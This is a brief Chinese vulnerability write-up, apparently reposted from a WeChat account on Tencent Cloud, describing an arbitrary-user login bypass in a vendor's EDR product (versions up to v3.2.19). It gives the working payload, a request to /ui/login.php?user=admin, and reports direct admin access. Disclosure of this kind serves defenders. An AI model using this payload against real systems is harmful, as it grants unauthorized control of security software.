xx服EDR任意用户登录
0x00漏洞编号
暂无
0x01漏洞名称
某某服EDR任意用户登录漏洞
0x02影响范围
EDR<= v3.2.19
0x03攻击方式
攻击者可以通过构造payload绕过登录判断
/ui/login.php?user=admin0x04复现过程
找到一个
浏览器直接输入
url输入payload 成功进入
http://ip/ui/login.php?user=admin (大概是这样的)
可以看到直接进来了
本文参与 腾讯云自媒体同步曝光计划，分享自微信公众号。
原始发表：2020-08-21，如有侵权请联系 cloudcommunity@tencent.com 删除
目录
腾讯云开发者
Copyright © 2013 - 2026 Tencent Cloud. All Rights Reserved. 腾讯云 版权所有
深圳市腾讯计算机系统有限公司 ICP备案/许可证号：粤B2-20090059 
粤公网安备44030502008569号
腾讯云计算（北京）有限责任公司 京ICP证150476号 | 京ICP备11018762号